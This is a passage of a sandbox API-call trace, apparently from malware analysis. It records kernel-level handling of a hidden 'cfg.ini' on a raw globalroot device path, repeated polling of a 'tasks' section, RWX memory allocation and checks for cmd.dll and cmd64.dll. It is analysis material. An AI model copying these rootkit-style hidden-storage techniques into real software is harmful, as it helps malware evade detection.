VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.415] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.415] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.415] IdePortDispatch () returned 0x103 [0122.415] KeWaitForMutexObject () returned 0x0 [0122.415] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.415] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.415] KeLeaveCriticalRegion () [0122.415] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.415] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.415] KeEnterCriticalRegion () [0122.415] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.415] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c85000 [0122.415] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.415] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.415] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.415] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.415] IdePortDispatch () returned 0x103 [0122.415] KeWaitForMutexObject () returned 0x0 [0122.415] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.415] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.415] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.415] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.415] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.415] IdePortDispatch () returned 0x103 [0122.416] KeWaitForMutexObject () returned 0x0 [0122.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.416] KeLeaveCriticalRegion () [0122.416] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.416] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.416] KeEnterCriticalRegion () [0122.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.416] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.416] KeLeaveCriticalRegion () [0122.416] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.416] KeEnterCriticalRegion () [0122.416] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.416] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.416] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.416] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.416] KeLeaveCriticalRegion () [0122.416] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.416] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.416] KeEnterCriticalRegion () [0122.417] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.417] ExFreePoolWithTag (P=0xfffffa8003be4790, Tag=0x0) [0122.417] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.417] KeLeaveCriticalRegion () [0122.417] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.417] ReleaseMutex (hMutex=0xf0) returned 1 [0122.417] Sleep (dwMilliseconds=0x927c0) [0122.430] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.430] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.430] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.430] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.430] KeEnterCriticalRegion () [0122.430] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.430] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.430] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.430] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.430] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.430] IdePortDispatch () returned 0x103 [0122.430] KeWaitForMutexObject () returned 0x0 [0122.430] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.430] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.430] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.430] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.431] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.431] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be5d00 [0122.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.431] KeLeaveCriticalRegion () [0122.431] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.431] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.431] KeEnterCriticalRegion () [0122.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.431] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.431] KeLeaveCriticalRegion () [0122.431] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.431] KeEnterCriticalRegion () [0122.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.431] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.431] IdePortDispatch () returned 0x103 [0122.431] KeWaitForMutexObject () returned 0x0 [0122.431] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.431] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.431] KeLeaveCriticalRegion () [0122.431] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.431] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.431] KeEnterCriticalRegion () [0122.431] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.431] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8a000 [0122.431] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.431] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.431] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.431] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.431] IdePortDispatch () returned 0x103 [0122.431] KeWaitForMutexObject () returned 0x0 [0122.432] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.432] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.432] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.432] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.432] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.432] IdePortDispatch () returned 0x103 [0122.432] KeWaitForMutexObject () returned 0x0 [0122.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.432] KeLeaveCriticalRegion () [0122.432] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.432] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.432] KeEnterCriticalRegion () [0122.432] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.432] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.432] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.432] KeLeaveCriticalRegion () [0122.432] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.433] KeEnterCriticalRegion () [0122.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.433] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.433] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be5070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.433] KeLeaveCriticalRegion () [0122.433] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.433] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.433] KeEnterCriticalRegion () [0122.433] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.433] ExFreePoolWithTag (P=0xfffffa8003be5d00, Tag=0x0) [0122.433] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.433] KeLeaveCriticalRegion () [0122.433] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.433] ReleaseMutex (hMutex=0xf0) returned 1 [0122.433] Sleep (dwMilliseconds=0x927c0) [0122.448] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.448] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.448] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.448] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.448] KeEnterCriticalRegion () [0122.448] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.448] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.448] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.448] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.448] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.448] IdePortDispatch () returned 0x103 [0122.448] KeWaitForMutexObject () returned 0x0 [0122.449] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.449] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.449] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.449] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.449] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.449] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be58e0 [0122.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.449] KeLeaveCriticalRegion () [0122.449] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.449] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.449] KeEnterCriticalRegion () [0122.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.449] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.449] KeLeaveCriticalRegion () [0122.449] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.449] KeEnterCriticalRegion () [0122.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.449] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.449] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.449] IdePortDispatch () returned 0x103 [0122.449] KeWaitForMutexObject () returned 0x0 [0122.449] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.449] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.449] KeLeaveCriticalRegion () [0122.449] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.449] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.449] KeEnterCriticalRegion () [0122.449] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.449] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c94000 [0122.449] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.449] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.450] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.450] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.450] IdePortDispatch () returned 0x103 [0122.450] KeWaitForMutexObject () returned 0x0 [0122.450] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.450] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.450] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.450] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.450] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.450] IdePortDispatch () returned 0x103 [0122.450] KeWaitForMutexObject () returned 0x0 [0122.450] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.450] KeLeaveCriticalRegion () [0122.450] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.451] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.451] KeEnterCriticalRegion () [0122.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.451] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.451] KeLeaveCriticalRegion () [0122.451] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.451] KeEnterCriticalRegion () [0122.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.451] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.451] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be6070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.451] KeLeaveCriticalRegion () [0122.451] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.451] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.451] KeEnterCriticalRegion () [0122.451] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.451] ExFreePoolWithTag (P=0xfffffa8003be58e0, Tag=0x0) [0122.451] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.451] KeLeaveCriticalRegion () [0122.451] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.451] ReleaseMutex (hMutex=0xf0) returned 1 [0122.451] Sleep (dwMilliseconds=0x927c0) [0122.468] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.468] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.468] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.468] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.468] KeEnterCriticalRegion () [0122.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.468] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.468] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.468] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.468] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.468] IdePortDispatch () returned 0x103 [0122.468] KeWaitForMutexObject () returned 0x0 [0122.468] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.468] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.468] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.468] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.468] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.468] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be58e0 [0122.468] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.468] KeLeaveCriticalRegion () [0122.468] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.468] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.468] KeEnterCriticalRegion () [0122.468] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.469] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.469] KeLeaveCriticalRegion () [0122.469] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.469] KeEnterCriticalRegion () [0122.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.469] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.469] IdePortDispatch () returned 0x103 [0122.469] KeWaitForMutexObject () returned 0x0 [0122.469] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.469] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.469] KeLeaveCriticalRegion () [0122.469] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.469] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.469] KeEnterCriticalRegion () [0122.469] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.469] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c99000 [0122.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.469] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.469] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.469] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.469] IdePortDispatch () returned 0x103 [0122.469] KeWaitForMutexObject () returned 0x0 [0122.469] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.469] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.469] IoAllocateMdl (in: 